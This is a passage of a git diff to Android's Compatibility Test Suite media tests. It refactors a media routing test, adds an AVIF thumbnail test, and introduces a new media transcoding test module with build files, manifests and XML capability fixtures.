+        }
+
+        AudioDeviceInfo routedDevice = mediaPlayer.getRoutedDevice();
+        assertTrue("Routed device should not be null", routedDevice != null);
+
+        // Reset the routing listener as the listener is called to notify the routed device
+        // when the playback starts.
+        listener.await(WAIT_ROUTING_CHANGE_TIME_MS);
+        assertTrue("Routing changed callback has not been called when starting playback",
+                listener.isRoutingListenerCalled());
+        listener.reset();
+
+        for (AudioDeviceInfo device : devices) {
+            if (routedDevice.getId() != device.getId() &&
+                    device.getType() != AudioDeviceInfo.TYPE_TELEPHONY) {
+                mediaPlayer.setPreferredDevice(device);
+                listener.await(WAIT_ROUTING_CHANGE_TIME_MS);
+                break;
             }
-        };
-        t.start();
-        synchronized (mRoutingChangedLock) {
-            mRoutingChangedLock.wait(WAIT_ROUTING_CHANGE_TIME_MS);
         }
-        if (mRoutingChangedLooper != null) {
-            mRoutingChangedLooper.quitSafely();
-            mRoutingChangedLooper = null;
-        }
-        t.join();
+
+        mediaPlayer.removeOnRoutingChangedListener(listener);
+        mediaPlayer.stop();
+        mediaPlayer.release();
+
         assertTrue("Routing changed callback has not been called",
-                (mRoutingChanged || !mRoutingChangedDetected));
+                listener.isRoutingListenerCalled());
     }
 
     public void test_mediaPlayer_incallMusicRoutingPermissions() {
diff --git a/tests/tests/media/src/android/media/cts/StubMediaBrowserService.java b/tests/tests/media/src/android/media/cts/StubMediaBrowserService.java
index 9190d10..f9ec34c 100644
--- a/tests/tests/media/src/android/media/cts/StubMediaBrowserService.java
+++ b/tests/tests/media/src/android/media/cts/StubMediaBrowserService.java
@@ -16,6 +16,7 @@
 
 package android.media.cts;
 
+import android.annotation.NonNull;
 import android.media.MediaDescription;
 import android.media.browse.MediaBrowser.MediaItem;
 import android.media.session.MediaSession;
@@ -27,7 +28,9 @@
 
 import java.util.ArrayList;
 import java.util.Collections;
+import java.util.HashMap;
 import java.util.List;
+import java.util.Map;
 
 /**
  * Stub implementation of (@link android.service.media.MediaBrowserService}.
@@ -55,6 +58,7 @@
     private Result<List<MediaItem>> mPendingLoadChildrenResult;
     private Result<MediaItem> mPendingLoadItemResult;
     private Bundle mPendingRootHints;
+    private final Map<String, List<MediaItem>> mChildrenMap = new HashMap<>();
 
     public static void clearBrowserInfo() {
         sBrowserInfo = null;
@@ -102,6 +106,8 @@
             result.detach();
         } else if (MEDIA_ID_INVALID.equals(parentMediaId)) {
             result.sendResult(null);
+        } else if (mChildrenMap.containsKey(parentMediaId)) {
+            result.sendResult(mChildrenMap.get(parentMediaId));
         }
     }
 
@@ -127,6 +133,14 @@
         super.onLoadItem(itemId, result);
     }
 
+    public void putChildrenToMap(@NonNull String parentMediaId, @NonNull List<MediaItem> children) {
+        mChildrenMap.put(parentMediaId, children);
+    }
+
+    public void removeChildrenFromMap(@NonNull String parentMediaId) {
+        mChildrenMap.remove(parentMediaId);
+    }
+
     public void sendDelayedNotifyChildrenChanged() {
         if (mPendingLoadChildrenResult != null) {
             mPendingLoadChildrenResult.sendResult(Collections.<MediaItem>emptyList());
diff --git a/tests/tests/media/src/android/media/cts/ThumbnailUtilsTest.java b/tests/tests/media/src/android/media/cts/ThumbnailUtilsTest.java
index a5f2471..8375581 100644
--- a/tests/tests/media/src/android/media/cts/ThumbnailUtilsTest.java
+++ b/tests/tests/media/src/android/media/cts/ThumbnailUtilsTest.java
@@ -176,6 +176,15 @@
     }
 
     @Test
+    public void testCreateImageThumbnailAvif() throws Exception {
+        final File file = stageFile("sample.avif", new File(mDir, "cts.avif"));
+
+        for (Size size : TEST_SIZES) {
+            assertSaneThumbnail(size, ThumbnailUtils.createImageThumbnail(file, size, null));
+        }
+    }
+
+    @Test
     public void testCreateVideoThumbnail() throws Exception {
         final File file = stageFile(
                 "bbb_s1_720x480_mp4_h264_mp3_2mbps_30fps_aac_lc_5ch_320kbps_48000hz.mp4",
diff --git a/tests/tests/media/src/android/media/cts/Utils.java b/tests/tests/media/src/android/media/cts/Utils.java
index bbefac7..63c6e32 100644
--- a/tests/tests/media/src/android/media/cts/Utils.java
+++ b/tests/tests/media/src/android/media/cts/Utils.java
@@ -164,7 +164,7 @@
 
             am.registerAudioPlaybackCallback(callback, handler);
             mediaPlayer = MediaPlayer.create(context, Uri.fromFile(new File(mInpPrefix +
-                    "sine1khzs40dblong.mp3")));
+                    "sine1khzm40db.wav")));
             mediaPlayer.start();
             if (!callback.mCountDownLatch.await(TEST_TIMING_TOLERANCE_MS, TimeUnit.MILLISECONDS)
                     || callback.mActiveConfigSize != activeConfigSizeBeforeStart + 1) {
diff --git a/tests/tests/mediaparser/Android.bp b/tests/tests/mediaparser/Android.bp
index 6c9ba6f..f9b36ea 100644
--- a/tests/tests/mediaparser/Android.bp
+++ b/tests/tests/mediaparser/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsMediaParserTestCases",
     defaults: ["CtsMediaParserTestCasesDefaults", "cts_defaults"],
@@ -23,7 +19,7 @@
     test_suites: [
         "cts",
         "general-tests",
-        "mts",
+        "mts-media",
     ],
 }
 
@@ -47,5 +43,4 @@
         "android.test.runner",
     ],
     sdk_version: "test_current",
-
 }
diff --git a/tests/tests/mediaparser/src/android/media/mediaparser/cts/MediaParserTest.java b/tests/tests/mediaparser/src/android/media/mediaparser/cts/MediaParserTest.java
index 145ac99..d13fa52 100644
--- a/tests/tests/mediaparser/src/android/media/mediaparser/cts/MediaParserTest.java
+++ b/tests/tests/mediaparser/src/android/media/mediaparser/cts/MediaParserTest.java
@@ -550,7 +550,7 @@
     }
 
     @Test
-    public void testMp4AndrdoidSlowMotion() throws IOException {
+    public void testMp4AndroidSlowMotion() throws IOException {
         testAssetExtraction("mp4/sample_android_slow_motion.mp4");
     }
 
diff --git a/tests/tests/mediastress/Android.bp b/tests/tests/mediastress/Android.bp
index 48fe6a6..69321f3 100644
--- a/tests/tests/mediastress/Android.bp
+++ b/tests/tests/mediastress/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsMediaStressTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/mediastress/AndroidManifest.xml b/tests/tests/mediastress/AndroidManifest.xml
index 81d8a00..157cd3c 100644
--- a/tests/tests/mediastress/AndroidManifest.xml
+++ b/tests/tests/mediastress/AndroidManifest.xml
@@ -15,41 +15,42 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="android.mediastress.cts">
+     package="android.mediastress.cts">
 
-    <uses-permission android:name="android.permission.CAMERA" />
-    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
-    <uses-permission android:name="android.permission.INTERNET" />
-    <uses-permission android:name="android.permission.MODIFY_AUDIO_SETTINGS" />
-    <uses-permission android:name="android.permission.RECORD_AUDIO" />
-    <uses-permission android:name="android.permission.WAKE_LOCK" />
-    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
-    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
-    <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE" />
+    <uses-permission android:name="android.permission.CAMERA"/>
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
+    <uses-permission android:name="android.permission.INTERNET"/>
+    <uses-permission android:name="android.permission.MODIFY_AUDIO_SETTINGS"/>
+    <uses-permission android:name="android.permission.RECORD_AUDIO"/>
+    <uses-permission android:name="android.permission.WAKE_LOCK"/>
+    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
+    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
+    <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE"/>
 
-    <application
-        android:requestLegacyExternalStorage="true">
-        <uses-library android:name="android.test.runner" />
+    <application android:requestLegacyExternalStorage="true">
+        <uses-library android:name="android.test.runner"/>
         <activity android:label="@string/app_name"
-                android:name="android.mediastress.cts.MediaFrameworkTest"
-                android:screenOrientation="landscape"
-                android:configChanges="keyboard|keyboardHidden|orientation|screenSize">
+             android:name="android.mediastress.cts.MediaFrameworkTest"
+             android:screenOrientation="landscape"
+             android:configChanges="keyboard|keyboardHidden|orientation|screenSize"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
+                <action android:name="android.intent.action.MAIN"/>
                 <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
         <activity android:name="android.mediastress.cts.NativeMediaActivity"
-                  android:label="NativeMedia" />
+             android:label="NativeMedia"/>
     </application>
 
-    <uses-sdk android:minSdkVersion="29"   android:targetSdkVersion="29" />
+    <uses-sdk android:minSdkVersion="29"
+         android:targetSdkVersion="29"/>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-            android:targetPackage="android.mediastress.cts"
-            android:label="Media stress tests InstrumentationRunner" >
+         android:targetPackage="android.mediastress.cts"
+         android:label="Media stress tests InstrumentationRunner">
         <meta-data android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
     </instrumentation>
 
 </manifest>
diff --git a/tests/tests/mediastress/jni/Android.bp b/tests/tests/mediastress/jni/Android.bp
index 400ddd82..192746e 100644
--- a/tests/tests/mediastress/jni/Android.bp
+++ b/tests/tests/mediastress/jni/Android.bp
@@ -13,10 +13,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_library_shared {
     name: "libctsmediastress_jni",
     srcs: ["native-media-jni.cpp"],
diff --git a/tests/tests/mediatranscoding/Android.bp b/tests/tests/mediatranscoding/Android.bp
new file mode 100644
index 0000000..0759f83
--- /dev/null
+++ b/tests/tests/mediatranscoding/Android.bp
@@ -0,0 +1,43 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsMediaTranscodingTestCases",
+    defaults: ["CtsMediaTranscodingTestCasesDefaults", "cts_defaults"],
+    min_sdk_version: "31",
+    test_suites: [
+        "cts",
+        "general-tests",
+        "mts",
+    ],
+    static_libs: [
+        "compatibility-device-util-axt",
+    ],
+    resource_dirs: ["res"],
+}
+
+java_defaults {
+    name: "CtsMediaTranscodingTestCasesDefaults",
+    srcs: ["src/**/*.java"],
+    static_libs: [
+        "ctstestrunner-axt",
+        "androidx.test.ext.junit",
+        "testng",
+    ],
+    libs: [
+        "android.test.base",
+        "android.test.runner",
+    ],
+    sdk_version: "test_current",
+}
diff --git a/tests/tests/mediatranscoding/AndroidManifest.xml b/tests/tests/mediatranscoding/AndroidManifest.xml
new file mode 100644
index 0000000..1618b00
--- /dev/null
+++ b/tests/tests/mediatranscoding/AndroidManifest.xml
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="android.media.mediatranscoding.cts">
+    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
+    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
+
+    <application>
+        <uses-library android:name="android.test.runner" />
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+            android:targetPackage="android.media.mediatranscoding.cts"
+            android:label="Tests for MediaTranscoding.">
+        <meta-data android:name="listener"
+                android:value="com.android.cts.runner.CtsTestRunListener" />
+    </instrumentation>
+</manifest>
diff --git a/tests/tests/mediatranscoding/AndroidTest.xml b/tests/tests/mediatranscoding/AndroidTest.xml
new file mode 100644
index 0000000..0eccb93
--- /dev/null
+++ b/tests/tests/mediatranscoding/AndroidTest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS MediaTranscoding test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="media" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <object type="module_controller" class="com.android.tradefed.testtype.suite.module.Sdk30ModuleController" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsMediaTranscodingTestCases.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.media.mediatranscoding.cts" />
+        <!-- setup can be expensive so limit the number of shards -->
+        <option name="ajur-max-shard" value="5" />
+        <!-- test-timeout unit is ms, value = 15 min -->
+        <option name="test-timeout" value="900000" />
+        <option name="runtime-hint" value="15m" />
+    </test>
+</configuration>
diff --git a/tests/tests/mediatranscoding/DynamicConfig.xml b/tests/tests/mediatranscoding/DynamicConfig.xml
new file mode 100644
index 0000000..7cf5973
--- /dev/null
+++ b/tests/tests/mediatranscoding/DynamicConfig.xml
@@ -0,0 +1,17 @@
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<dynamicConfig>
+</dynamicConfig>
diff --git a/tests/tests/mediatranscoding/OWNERS b/tests/tests/mediatranscoding/OWNERS
new file mode 100644
index 0000000..e653979
--- /dev/null
+++ b/tests/tests/mediatranscoding/OWNERS
@@ -0,0 +1,4 @@
+# Bug component: 761430
+hkuang@google.com
+chz@google.com
+lnilsson@google.com
diff --git a/tests/tests/mediatranscoding/TEST_MAPPING b/tests/tests/mediatranscoding/TEST_MAPPING
new file mode 100644
index 0000000..42ed5fd
--- /dev/null
+++ b/tests/tests/mediatranscoding/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsMediaTranscodingTestCases"
+    }
+  ]
+}
diff --git a/tests/tests/mediatranscoding/assets/ConflictSupportedValue.xml b/tests/tests/mediatranscoding/assets/ConflictSupportedValue.xml
new file mode 100644
index 0000000..9b2fa3b
--- /dev/null
+++ b/tests/tests/mediatranscoding/assets/ConflictSupportedValue.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<media-capabilities xmlns:android="http://schemas.android.com/apk/res/android">
+    <format android:name="HEVC" supported="true"/>
+    <format android:name="HEVC" supported="false"/>
+</media-capabilities>
diff --git a/tests/tests/mediatranscoding/assets/EmptyFormat.xml b/tests/tests/mediatranscoding/assets/EmptyFormat.xml
new file mode 100644
index 0000000..5ef5e51
--- /dev/null
+++ b/tests/tests/mediatranscoding/assets/EmptyFormat.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<media-capabilities xmlns:android="http://schemas.android.com/apk/res/android">
+    <format />
+</media-capabilities>
diff --git a/tests/tests/mediatranscoding/assets/FormatWithoutSupported.xml b/tests/tests/mediatranscoding/assets/FormatWithoutSupported.xml
new file mode 100644
index 0000000..e50c212
--- /dev/null
+++ b/tests/tests/mediatranscoding/assets/FormatWithoutSupported.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<media-capabilities xmlns:android="http://schemas.android.com/apk/res/android">
+    <format android:name="HEVC"/>
+</media-capabilities>
diff --git a/tests/tests/mediatranscoding/assets/MediaCapabilities.xml b/tests/tests/mediatranscoding/assets/MediaCapabilities.xml
new file mode 100644
index 0000000..b2a1aee
--- /dev/null
+++ b/tests/tests/mediatranscoding/assets/MediaCapabilities.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<media-capabilities xmlns:android="http://schemas.android.com/apk/res/android">
+    <format android:name="HEVC" supported="true"/>
+    <format android:name="HDR10" supported="false"/>
+</media-capabilities>
diff --git a/tests/tests/mediatranscoding/assets/MediaCapabilitiesUnsupportedHevc.xml b/tests/tests/mediatranscoding/assets/MediaCapabilitiesUnsupportedHevc.xml
new file mode 100644
index 0000000..309b185
--- /dev/null
+++ b/tests/tests/mediatranscoding/assets/MediaCapabilitiesUnsupportedHevc.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<media-capabilities xmlns:android="http://schemas.android.com/apk/res/android">
+    <format android:name="HEVC" supported="false"/>
+</media-capabilities>
diff --git a/tests/tests/mediatranscoding/assets/SupportAllHdr.xml b/tests/tests/mediatranscoding/assets/SupportAllHdr.xml
new file mode 100644
index 0000000..8c331a0
--- /dev/null
+++ b/tests/tests/mediatranscoding/assets/SupportAllHdr.xml
@@ -0,0 +1,23 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<media-capabilities xmlns:android="http://schemas.android.com/apk/res/android">
+    <format android:name="HEVC" supported="true"/>
+    <format android:name="HDR10" supported="true"/>
+    <format android:name="HDR10Plus" supported="true"/>
+    <format android:name="Dolby-Vision" supported="true"/>
+    <format android:name="HLG" supported="true"/>
+</media-capabilities>
diff --git a/tests/tests/mediatranscoding/assets/SupportHdrWithoutHevc.xml b/tests/tests/mediatranscoding/assets/SupportHdrWithoutHevc.xml
new file mode 100644
index 0000000..f4db4db
--- /dev/null
+++ b/tests/tests/mediatranscoding/assets/SupportHdrWithoutHevc.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<media-capabilities xmlns:android="http://schemas.android.com/apk/res/android">
+    <format android:name="HDR10" supported="true"/>
+</media-capabilities>
diff --git a/tests/tests/mediatranscoding/assets/SupportedWithoutFormat.xml b/tests/tests/mediatranscoding/assets/SupportedWithoutFormat.xml
new file mode 100644
index 0000000..29454fc
--- /dev/null
+++ b/tests/tests/mediatranscoding/assets/SupportedWithoutFormat.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<media-capabilities xmlns:android="http://schemas.android.com/apk/res/android">
+    <format supported="true"/>
+</media-capabilities>
diff --git a/tests/tests/mediatranscoding/assets/WrongBooleanValue.xml b/tests/tests/mediatranscoding/assets/WrongBooleanValue.xml
new file mode 100644
index 0000000..0605623
--- /dev/null
+++ b/tests/tests/mediatranscoding/assets/WrongBooleanValue.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<media-capabilities xmlns:android="http://schemas.android.com/apk/res/android">
+    <format android:name="HEVC" supported="yes"/>
+    <format android:name="HDR10" supported="false"/>
+</media-capabilities>
diff --git a/tests/tests/mediatranscoding/assets/WrongMediaCapabilityTag.xml b/tests/tests/mediatranscoding/assets/WrongMediaCapabilityTag.xml
new file mode 100644
index 0000000..5f69c26
--- /dev/null
+++ b/tests/tests/mediatranscoding/assets/WrongMediaCapabilityTag.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<media-capability xmlns:android="http://schemas.android.com/apk/res/android">
+    <format android:name="HEVC" supported="true"/>
+    <format android:name="HDR10" supported="true"/>
+</media-capabilities>
diff --git a/tests/tests/mediatranscoding/assets/WrongMediaCapabilityTag2.xml b/tests/tests/mediatranscoding/assets/WrongMediaCapabilityTag2.xml
new file mode 100644
index 0000000..f6ed8ca
--- /dev/null
+++ b/tests/tests/mediatranscoding/assets/WrongMediaCapabilityTag2.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<MediaCapability xmlns:android="http://schemas.android.com/apk/res/android">
+    <format android:name="HEVC" supported="true"/>
+    <format android:name="HDR10" supported="true"/>
+</MediaCapability>
diff --git a/tests/tests/mediatranscoding/res/raw/Video_4K_HEVC_55Frame_Audio.mp4 b/tests/tests/mediatranscoding/res/raw/Video_4K_HEVC_55Frame_Audio.mp4
new file mode 100644
index 0000000..6105ba9
--- /dev/null
+++ b/tests/tests/mediatranscoding/res/raw/Video_4K_HEVC_55Frame_Audio.mp4
Binary files differ
diff --git a/tests/tests/mediatranscoding/res/raw/Video_4K_HEVC_64Frames_Audio.mp4 b/tests/tests/mediatranscoding/res/raw/Video_4K_HEVC_64Frames_Audio.mp4
new file mode 100644
index 0000000..61656a1
--- /dev/null
+++ b/tests/tests/mediatranscoding/res/raw/Video_4K_HEVC_64Frames_Audio.mp4
Binary files differ
diff --git a/tests/tests/mediatranscoding/res/raw/Video_AVC_30Frames.mp4 b/tests/tests/mediatranscoding/res/raw/Video_AVC_30Frames.mp4
new file mode 100644
index 0000000..28b4f93
--- /dev/null
+++ b/tests/tests/mediatranscoding/res/raw/Video_AVC_30Frames.mp4
Binary files differ
diff --git a/tests/tests/mediatranscoding/res/raw/Video_HEVC_1Frame_Audio.mp4 b/tests/tests/mediatranscoding/res/raw/Video_HEVC_1Frame_Audio.mp4
new file mode 100644
index 0000000..3b797f5
--- /dev/null
+++ b/tests/tests/mediatranscoding/res/raw/Video_HEVC_1Frame_Audio.mp4
Binary files differ
diff --git a/tests/tests/mediatranscoding/res/raw/Video_HEVC_30Frames.mp4 b/tests/tests/mediatranscoding/res/raw/Video_HEVC_30Frames.mp4
new file mode 100644
index 0000000..3cd27e5
--- /dev/null
+++ b/tests/tests/mediatranscoding/res/raw/Video_HEVC_30Frames.mp4
Binary files differ
diff --git a/tests/tests/mediatranscoding/res/raw/Video_HEVC_37Frames_Audio.mp4 b/tests/tests/mediatranscoding/res/raw/Video_HEVC_37Frames_Audio.mp4
new file mode 100644
index 0000000..067170d
--- /dev/null
+++ b/tests/tests/mediatranscoding/res/raw/Video_HEVC_37Frames_Audio.mp4
Binary files differ
diff --git a/tests/tests/mediatranscoding/res/raw/Video_HEVC_72Frames_Audio.mp4 b/tests/tests/mediatranscoding/res/raw/Video_HEVC_72Frames_Audio.mp4
new file mode 100644
index 0000000..a974ef5
--- /dev/null
+++ b/tests/tests/mediatranscoding/res/raw/Video_HEVC_72Frames_Audio.mp4
Binary files differ
diff --git a/tests/tests/mediatranscoding/res/xml/mediacapabilities.xml b/tests/tests/mediatranscoding/res/xml/mediacapabilities.xml
new file mode 100644
index 0000000..3bff61e
--- /dev/null
+++ b/tests/tests/mediatranscoding/res/xml/mediacapabilities.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<media-capabilities xmlns:android="http://schemas.android.com/apk/res/android">
+    <format android:name="HEVC" supported="true"/>
+    <format android:name="HDR10" supported="false"/>
+    <format android:name="SlowMotion" supported="false"/>
+</media-capabilities>
